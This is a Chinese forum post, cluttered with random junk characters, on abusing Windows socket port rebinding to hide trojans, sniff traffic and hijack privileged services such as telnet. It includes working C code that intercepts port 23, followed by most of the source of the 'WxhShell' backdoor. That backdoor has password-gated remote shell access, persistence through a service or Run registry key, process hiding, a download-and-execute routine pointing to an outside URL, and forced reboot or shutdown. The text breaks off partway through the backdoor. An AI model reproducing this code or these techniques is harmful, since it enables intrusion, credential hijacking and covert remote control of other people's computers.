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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tvcM< e20  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >~*}9y0$  
Kb~i9x&  
  saddr.sin_family = AF_INET; )St`}qu;  
f0"_ {\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); En{< OMg  
WSqo\]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N) '|l0x0  
( 9(NP_s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 85vyt/.,k  
(05a 9  
  这意味着什么?意味着可以进行如下的攻击: \[<8AV"E-'  
Q .g44>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <Y)Aez  
0?*":o30  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o#hFK'&~  
TJUYd9O4[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FJ2~SKWT  
jE!?;} P1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d,E2l~s  
#B5-3CwB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wRu\9H}  
(p(-E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <])kO`+G  
+pxtar  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ld7B{ ?]  
!SThK8j$7  
  #include z-m:l;  
  #include VEx )  
  #include ;aDYw [  
  #include    Erm]uI9`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :nS p  
  int main() /2Bf6  
  { Cf.(/5X  
  WORD wVersionRequested; $fwj8S7$  
  DWORD ret; vu3zZMl  
  WSADATA wsaData; :oytJhxU  
  BOOL val; +T HBPEq  
  SOCKADDR_IN saddr; B3Ws)nF"  
  SOCKADDR_IN scaddr; gW^0A)5  
  int err; ?'U@oz8 B  
  SOCKET s; b$Q#Fv&P  
  SOCKET sc; ;RS^^vDm  
  int caddsize; @Uqcym.  
  HANDLE mt; oiItQ4{<  
  DWORD tid;   9,$ n 6t;  
  wVersionRequested = MAKEWORD( 2, 2 ); R]NCD*~  
  err = WSAStartup( wVersionRequested, &wsaData ); mV|Z5= f  
  if ( err != 0 ) { Yq%r\[%*  
  printf("error!WSAStartup failed!\n"); 86 W.z6  
  return -1; gFnJDR  
  } t]+h.  
  saddr.sin_family = AF_INET; 9n;6;K#  
   J )UCy;Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +GT"n$)+  
ese?;1r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C,,S<=L:  
  saddr.sin_port = htons(23); KA elq*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nxs'qX(D  
  { I]Vkaf I>(  
  printf("error!socket failed!\n"); ^"+Vx9H"{  
  return -1; B1o*phM g  
  } uM2 .?>`X  
  val = TRUE; 5$c*r$t_RK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *C,1 x5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [N0"mE<  
  { A5,(P$@ k  
  printf("error!setsockopt failed!\n"); tw&biLM5T  
  return -1; ?:#$btmn?  
  } l:j>d^V*&x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #4F0o@Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .:iO$wjp5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,Ofou8C6  
v8\pOI}c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h 2C9p2.  
  { 4GexYDk'#  
  ret=GetLastError(); ~Z5Wwp]a  
  printf("error!bind failed!\n"); 1  Lz  
  return -1; |qtZb}"|  
  } Zi.w+V  
  listen(s,2); wcW}Sv[r  
  while(1) G,XUMZ  
  { qKNHhXi  
  caddsize = sizeof(scaddr); dwVo"_Yr  
  //接受连接请求 :CG;:( |  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sLW e \o  
  if(sc!=INVALID_SOCKET) ^o Q^/v~  
  { jNW/Biy4u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @"0n8y  
  if(mt==NULL) r_3=+  
  { qnnP*15`  
  printf("Thread Creat Failed!\n"); HQ^:5 XH  
  break; >/y+;<MZ  
  } qIk( ei  
  } A<{&?_U  
  CloseHandle(mt); lA,*]Mr~  
  } XVY j X  
  closesocket(s); 1qhSN#s{_  
  WSACleanup(); TTz_w-68  
  return 0; |/;X -+f8  
  }   >{#QS"J#  
  DWORD WINAPI ClientThread(LPVOID lpParam) t8t+wi!  
  { [\.@,Y0j  
  SOCKET ss = (SOCKET)lpParam; yGlOs]>n  
  SOCKET sc; R9InUX"k  
  unsigned char buf[4096]; gU@BEn}  
  SOCKADDR_IN saddr; xU'% 6/G  
  long num; ]SNcL[U  
  DWORD val; pxHJX2  
  DWORD ret; 9/6=[)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _yc &'Wq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %Q|Hvjk=E  
  saddr.sin_family = AF_INET; F^X:5g~K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "sUmke-#  
  saddr.sin_port = htons(23); yQqu Gu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >:f&@vwm  
  { =yLJGNK[  
  printf("error!socket failed!\n");  @+!u{  
  return -1; wQN/MYF[  
  } SsQg8d  
  val = 100; NSQ#\:3:S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @tPptB  
  { `_>44!M  
  ret = GetLastError(); 6|]e}I@<2  
  return -1; 5U<;6s  
  } X&cm)o%5Fe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1g_Dkv|D  
  { 9NausE40  
  ret = GetLastError(); Y]H,rO  
  return -1; "$PX [:  
  } zfm#yDf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p]J0A ^VV  
  { 5ii:93Hlj  
  printf("error!socket connect failed!\n"); `8G {-_  
  closesocket(sc); ]% I|C++0  
  closesocket(ss); (GbZt{.  
  return -1; kr>F=|R]  
  } ' +E\-X  
  while(1) jT1^oXn@  
  { )UAkg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 = K3NKPUI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ==Bxv:6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7r wNjY#  
  num = recv(ss,buf,4096,0); X"O^4MnvI  
  if(num>0) 0p1~!X=I  
  send(sc,buf,num,0); FP9FE `x  
  else if(num==0) 9 hdz<eFL  
  break; ($[)Tcq*~  
  num = recv(sc,buf,4096,0); esK0H<]  
  if(num>0) C,nU.0  
  send(ss,buf,num,0); SB =%(]S  
  else if(num==0) ~oE@y6Q  
  break; ?qR11A};tG  
  } [?nM)4d  
  closesocket(ss); ~<q^4w.=7C  
  closesocket(sc); CyD)=e {  
  return 0 ; tW} At  
  } l|5;&(Y+s  
% n~ 'UA  
DE" Y(;S  
========================================================== R>dd#`r"  
j xTYW)E   
下边附上一个代码,,WXhSHELL c`xgz#]v  
|}naI_Qudv  
========================================================== AQIBg9y7  
WC`x^HI  
#include "stdafx.h" _"G./X  
QBL|n+  
#include <stdio.h> L1YiXJ,T,  
#include <string.h> <U~at+M  
#include <windows.h> t$-!1jq  
#include <winsock2.h> !nt[J$.z^  
#include <winsvc.h> #0'%51Jcl  
#include <urlmon.h> H?tX^HO:q  
^~K[bFbW  
#pragma comment (lib, "Ws2_32.lib") ^]ig*oS\`  
#pragma comment (lib, "urlmon.lib") m\e?'-(s  
p~f=0K  
#define MAX_USER   100 // 最大客户端连接数 vz3#.a~2  
#define BUF_SOCK   200 // sock buffer C9L_`[9DO  
#define KEY_BUFF   255 // 输入 buffer 5Sz}gP('  
nD\H$5>5  
#define REBOOT     0   // 重启 eH^~r{{R  
#define SHUTDOWN   1   // 关机 vk.P| Y-;  
,f^ ICM  
#define DEF_PORT   5000 // 监听端口 LGT?/ gup  
Q%n$IQr4gM  
#define REG_LEN     16   // 注册表键长度 HMqR%A  
#define SVC_LEN     80   // NT服务名长度 12HE =  
|ZtNCB5{^j  
// 从dll定义API ^/fasl$#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Js/QL=,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ")@#B=8+3^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W(\ ^6S)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ED^0t  
i6)HC  
// wxhshell配置信息 yoG*c%3V?  
struct WSCFG { 5&TH\2u  
  int ws_port;         // 监听端口 d;.H 9Ne  
  char ws_passstr[REG_LEN]; // 口令 '^%kTNn  
  int ws_autoins;       // 安装标记, 1=yes 0=no ':!aFMj^  
  char ws_regname[REG_LEN]; // 注册表键名 I'0{Q`}  
  char ws_svcname[REG_LEN]; // 服务名 }No8to  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R'Uf#.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cf>(,rt};  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y~^-I5!_ u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7> 8L%(7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .FC|~Z1T<F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M< /  
o>\o=%D.a  
}; AK(x;4  
+ f,Kt9Cy  
// default Wxhshell configuration *" +u^  
struct WSCFG wscfg={DEF_PORT, GQ2/3kt  
    "xuhuanlingzhe", ?z&5g-/b  
    1, YO9;NA{sH  
    "Wxhshell", Oi<yT"7  
    "Wxhshell", ]94`7@  
            "WxhShell Service", oL@K{dk  
    "Wrsky Windows CmdShell Service", xJ9aFpTC  
    "Please Input Your Password: ", ($-m}UF\/  
  1, PU8dr|!  
  "http://www.wrsky.com/wxhshell.exe", hkMVA  
  "Wxhshell.exe" 1Eb2X}XC  
    }; Z@} qL1  
Z)md]Twt  
// 消息定义模块 'qJ0338d#U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O L 9(~p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1!NrndJI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; in6*3C4  
char *msg_ws_ext="\n\rExit."; c(aykIVOo  
char *msg_ws_end="\n\rQuit."; i` Q&5KL  
char *msg_ws_boot="\n\rReboot..."; aa" 3 Io  
char *msg_ws_poff="\n\rShutdown..."; 1) 5$,+~lL  
char *msg_ws_down="\n\rSave to "; *wx95?H0Z  
O]' 2<;  
char *msg_ws_err="\n\rErr!"; "6 ~5RCZ  
char *msg_ws_ok="\n\rOK!"; {@6:kkd  
-Aojk8tc  
char ExeFile[MAX_PATH]; PQp/ &D4K  
int nUser = 0; B<i(Y1n[  
HANDLE handles[MAX_USER]; [+Fajo;0  
int OsIsNt; "By$!R-&  
4:-x!lt  
SERVICE_STATUS       serviceStatus; %uCsCl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Em !%3C1r  
Vl;zd=  
// 函数声明 %z=:P{0UQ  
int Install(void); .>z1BP:(  
int Uninstall(void); "=1gA~T  
int DownloadFile(char *sURL, SOCKET wsh); r)#W`A1{A  
int Boot(int flag); ==Xy'n9'  
void HideProc(void); '~ H`Ffd.  
int GetOsVer(void); h8X[*Wme  
int Wxhshell(SOCKET wsl); =fJU+N+<  
void TalkWithClient(void *cs); ZZ  Hjv  
int CmdShell(SOCKET sock); 6~Dyr82"B  
int StartFromService(void); d%.|MAE  
int StartWxhshell(LPSTR lpCmdLine); *CPpU|  
"{\xBX~oM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .$7RF!p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K_~kL0=4  
k1oJ<$ Q  
// 数据结构和表定义 NyT%S?@y<  
SERVICE_TABLE_ENTRY DispatchTable[] = `+rwx  
{ `a83bF35  
{wscfg.ws_svcname, NTServiceMain}, zyhM*eM.7  
{NULL, NULL} )z\#  
}; 3E^qh03(  
;mT}Q;F#  
// 自我安装 ^lt2,x   
int Install(void) }X?#"JFX?  
{ wN58uV '  
  char svExeFile[MAX_PATH]; fge h;cD  
  HKEY key; "w%:5~u 9  
  strcpy(svExeFile,ExeFile); Zp^O1&\SK?  
tcT =a@  
// 如果是win9x系统,修改注册表设为自启动 \8=)X})  
if(!OsIsNt) { ?'Hd0)yZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VnVBA-#r|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T[)!7@4r  
  RegCloseKey(key); / Ws>;0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z=) m6\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zWhj >Za  
  RegCloseKey(key); '~Cn+xf4]  
  return 0; n@xQ-v  
    } ?tL'  X  
  } :;.^r,QAI  
} g(9*!g  
else { `MCiybl,&P  
:CW^$Zvq  
// 如果是NT以上系统,安装为系统服务 ^)?Wm,{"w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 38D5vT)n  
if (schSCManager!=0) l=p_  
{ @, GL&$Y:W  
  SC_HANDLE schService = CreateService EW(bM^dk}  
  ( 6ICW>#fI`  
  schSCManager, !5(DU~S*@S  
  wscfg.ws_svcname, D<d, 9S,)  
  wscfg.ws_svcdisp, !IdVg$7  
  SERVICE_ALL_ACCESS, \.}T_,I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ao8ua|:  
  SERVICE_AUTO_START, /nQuM05*Z  
  SERVICE_ERROR_NORMAL, OyVP_Yx,V  
  svExeFile, <+g77NL  
  NULL, cJaA*sg  
  NULL, Lm~<BBp.  
  NULL, A~PR  
  NULL, TLVsTM8 P  
  NULL ~q}L13^k  
  ); gAWi&  
  if (schService!=0) e' o2PW  
  { ?&#LmeZ}K  
  CloseServiceHandle(schService); IZj`*M%3  
  CloseServiceHandle(schSCManager); V^ n6~O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); > v%.q]E6n  
  strcat(svExeFile,wscfg.ws_svcname); u_$4xNmQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m6mGcbpn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d,Aa8I  
  RegCloseKey(key); 4T(d9y  
  return 0; {73V?#P4  
    } O'wmhLa"W  
  } [w'Q9\,p  
  CloseServiceHandle(schSCManager); G-T^1?  
} cb /Q<i  
} isL zgN%  
e9{0hw7  
return 1; !92e$GJ} ;  
} = 0d|F 8  
:TU|:2+  
// 自我卸载 NS z }  
int Uninstall(void) ]##aAh-P4&  
{ Sc[#]2 }  
  HKEY key; !6'N-b1  
4n1g4c-   
if(!OsIsNt) { .@,t}:lD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HXa[0VOx  
  RegDeleteValue(key,wscfg.ws_regname); ?Tc#[B  
  RegCloseKey(key); T06(Q[)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BS##nS-[  
  RegDeleteValue(key,wscfg.ws_regname); Sk|e#{  
  RegCloseKey(key); ":udoVS!  
  return 0; Jr !BDg  
  } JPqd} :u3  
} r&E gP  
} RhE~Rwbx  
else { ]!/U9"_e"B  
eT".psRiC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 58s-RO6  
if (schSCManager!=0) 9i5?J]o^  
{ t`H1]`c?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g{yw&q[B=  
  if (schService!=0) :0l+x 0l}  
  { (kLaXayn  
  if(DeleteService(schService)!=0) { xx`YBn~"  
  CloseServiceHandle(schService); V6][*.i!9  
  CloseServiceHandle(schSCManager); z,TH}s6  
  return 0; 0P5VbDv$r7  
  } e-ta7R4  
  CloseServiceHandle(schService); YbP @  
  } ez'NHodwk2  
  CloseServiceHandle(schSCManager); h:8P9WhWF  
} MQ!4"E5"j  
} G JRl{Y  
s6|'s<x"j  
return 1; |eu8;~A  
} i=Qy?aU?  
zzf@U&x<  
// 从指定url下载文件 {cs>Sy 4  
int DownloadFile(char *sURL, SOCKET wsh) f7_( C0d  
{ >.Gmu  
  HRESULT hr; [MpWvLP"x  
char seps[]= "/"; -MTk9<qnT  
char *token; u4Nh_x8\Nr  
char *file; qf x*a88  
char myURL[MAX_PATH]; DJ"PP 5d  
char myFILE[MAX_PATH]; |jiIx5qr  
1cK'B<5">]  
strcpy(myURL,sURL); =VD],R)  
  token=strtok(myURL,seps); TTVmm{6  
  while(token!=NULL) K+}0:W=P  
  { BXYHJ  
    file=token; 9w=7A>.U  
  token=strtok(NULL,seps); x &R9m,  
  } v?VDASR2`  
A r!0GwE+  
GetCurrentDirectory(MAX_PATH,myFILE); ,4Q4{Tx  
strcat(myFILE, "\\"); ?62Im^1/  
strcat(myFILE, file); ^{uHph9ny  
  send(wsh,myFILE,strlen(myFILE),0); @U_ CnhPQq  
send(wsh,"...",3,0); "TA0--6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G3DgB!  
  if(hr==S_OK) f}bq  
return 0; uY.Ns ?8  
else {mJ' Lb0;  
return 1; lbAhP+B  
$P{`-Y }a  
} F}}!e.>c  
x4* bhiu  
// 系统电源模块 )$!b`u  
int Boot(int flag) i.t%a{gL  
{ 6nL^"3@S!  
  HANDLE hToken; @-sWXz*W  
  TOKEN_PRIVILEGES tkp; C 7C4 eW8  
9ngxkOGx  
  if(OsIsNt) { #s{^fUN6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uN)c!='I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7+P;s,mi7  
    tkp.PrivilegeCount = 1; +cH>'OXoB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UH MJ(.Wa-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D&):2F^9.  
if(flag==REBOOT) { VW\S>=O99  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p3A9 <g  
  return 0; m#'eDO:  
} 2fTuIS<yr  
else { E:K4k <  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G=zNZ  
  return 0; h[>pC"s?K  
} !'N@ZZ  
  } , '0#q  
  else { _RaE: )  
if(flag==REBOOT) { #NFB=o JI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;}E}N:A  
  return 0; )g'J'_Sl  
} r &.~ {  
else { v Z9OJrF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p3Ux%/ZqPV  
  return 0; X<,QSTP  
} ;O}%SCF7  
} #%[;v K  
BaQyn 6B  
return 1; Ikdj?"+O  
} H0s*Lb  
M[`[+5v  
// win9x进程隐藏模块 _3aE]\O[  
void HideProc(void) "kP,v&n  
{ ?+Gt?-! 5q  
vqN/crJ@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?SNacN@r  
  if ( hKernel != NULL ) 7*PBJt\  
  { AJ}FHym_ZQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~pZ0B#K J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Es+I]o0K  
    FreeLibrary(hKernel); 4z(~)#'^  
  } c0zcR)=mL  
V| V 9.  
return; c K\   
} L ?/AKg  
6-|?ya  
// 获取操作系统版本 NfClR HpVc  
int GetOsVer(void) *aF<#m v  
{ |YAnd=$  
  OSVERSIONINFO winfo; [8QE}TFic  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,HQaS9vBQ  
  GetVersionEx(&winfo); aBLE:v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M _z-~G  
  return 1; D 4\T`j:  
  else j.@TPf*  
  return 0; c|'hs   
} jpCQ2XD:  
YbrsXp"  
// 客户端句柄模块 ?*Kewj  
int Wxhshell(SOCKET wsl) H+>l][  
{ sc! e$@U  
  SOCKET wsh; :h&*<!O2B`  
  struct sockaddr_in client; ^vmyiF  
  DWORD myID; Pxj ?W'|  
? 1g<] ?  
  while(nUser<MAX_USER) TY=BP!s  
{ UUx0#D/U0C  
  int nSize=sizeof(client); *}\!&Zk"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IdlW[h3`[  
  if(wsh==INVALID_SOCKET) return 1; *p.P/w@1  
shlL(&Py  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7ST[XLwt%}  
if(handles[nUser]==0) ~T')s-,l,:  
  closesocket(wsh); L`ZH.fN  
else EV@xUq!x .  
  nUser++; XY5I5H_U  
  } 3`&2 -  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <8Qa"<4f;  
;&|ja]r  
  return 0; j+n1k^jC  
} LmLV2f  
i%M2(8&^Q  
// 关闭 socket i8nCTW  
void CloseIt(SOCKET wsh) tLpDIA_8  
{ )jp#|#h  
closesocket(wsh); gU Cv#:  
nUser--; o_<o8!]l"  
ExitThread(0); i+&*W{Re  
} f;6a4<bz  
3_IuK 6K2  
// 客户端请求句柄 ;""V s6  
void TalkWithClient(void *cs) MOyQ4<_  
{ Z-b^{uP  
)L`0VTw'M  
  SOCKET wsh=(SOCKET)cs; DL2gui3  
  char pwd[SVC_LEN]; vcAs!ls+  
  char cmd[KEY_BUFF]; Gu&?Gn oc  
char chr[1]; Hq^sU%  
int i,j; b:>(U.   
)[6H!y5  
  while (nUser < MAX_USER) { 'u$$scGt  
Tc@r#!.m  
if(wscfg.ws_passstr) { L^)&"6oSa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AFl]w'=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )k3zOKZ;  
  //ZeroMemory(pwd,KEY_BUFF); p SASMc@  
      i=0; zHr1FxD  
  while(i<SVC_LEN) { )oa6;=go  
'uBW1,  
  // 设置超时 u A:|#mO  
  fd_set FdRead; .-[UHO05^8  
  struct timeval TimeOut; by& #g  
  FD_ZERO(&FdRead); C2,,+* v  
  FD_SET(wsh,&FdRead); U=p,drF,A  
  TimeOut.tv_sec=8; cgm]{[f  
  TimeOut.tv_usec=0; ) ]U-7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eM+]KG)}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ge[f/"u  
s*:J=+D]G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9~<HTH  
  pwd=chr[0]; Z6X?M&-Lz  
  if(chr[0]==0xd || chr[0]==0xa) { "Sc_E}q |e  
  pwd=0; mKPyM<Q  
  break; Z= dEk`  
  } 'i{kuTv  
  i++; $Dd IY}  
    } q/?#+d  
a84^"GH7  
  // 如果是非法用户,关闭 socket I)]wi%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9n$GeRO  
} 8k]'P*9ulz  
2r"-X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %w,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {$HW_\w  
Xp{+){Iu  
while(1) { 7Nw7a;h  
,;'9PsIS^  
  ZeroMemory(cmd,KEY_BUFF); L=Fm:O'#2  
 RN'|./N  
      // 自动支持客户端 telnet标准   +T+f``RcK  
  j=0; l];,)ddD9  
  while(j<KEY_BUFF) { OnC|9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]YQlCx`  
  cmd[j]=chr[0]; "Git@%80  
  if(chr[0]==0xa || chr[0]==0xd) { bPAp0}{Fu  
  cmd[j]=0; uR|Jn)/m(  
  break; +n%uIv  
  } jmmm0,#D  
  j++; 4T`u?T]  
    } gXZ.je)NM  
4$+1jjC]>~  
  // 下载文件 x^qmYX$'1b  
  if(strstr(cmd,"http://")) { G\?fWqx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 29 L~SMf  
  if(DownloadFile(cmd,wsh)) iJk`{P_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pq>r|/~_  
  else p\wE})mu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )d bi  
  } S " R]i  
  else { ^<'5 V)  
mEmznA  
    switch(cmd[0]) { -LJbx<'  
  V]tuc s  
  // 帮助 \]e"#"v}}_  
  case '?': { ='q:Io?T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f ."bq43(  
    break; BK]bSj  
  } Cb7f-Eag  
  // 安装 QM=M<~<Voh  
  case 'i': { _(&^M[O  
    if(Install()) X(U CN0#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mf Dna>,Y  
    else .$y}}/{j?[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qvy~b  
    break; Jiyt,D*wX  
    } Sg(fZ' -  
  // 卸载 XZYpU\K  
  case 'r': { IqJ7'X  
    if(Uninstall()) m!3b.2/h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1P:r=Rt/  
    else >KmOTM< {  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >!MOgLO3  
    break; U:ggZ`.  
    } /_5I}{  
  // 显示 wxhshell 所在路径 ZdJwy%  
  case 'p': { HpSmB[WF  
    char svExeFile[MAX_PATH]; @.;] $N&J  
    strcpy(svExeFile,"\n\r"); s!esk%h{K  
      strcat(svExeFile,ExeFile); r63_|~JVB<  
        send(wsh,svExeFile,strlen(svExeFile),0); "K n JUXpl  
    break; o4,fwPkB  
    }  17AJT  
  // 重启 Fk@A;22N  
  case 'b': { e>vV8a\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q?-HU,RBO  
    if(Boot(REBOOT)) 23 j{bK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "jqC3$DKI  
    else { 6FNs4|(d  
    closesocket(wsh); 86NAa6BW  
    ExitThread(0); 47>IT  
    } /fC@T  
    break; ,S 5tkTa  
    } 1ThONrxu  
  // 关机 9v>BP`Mg  
  case 'd': { l!CWE  
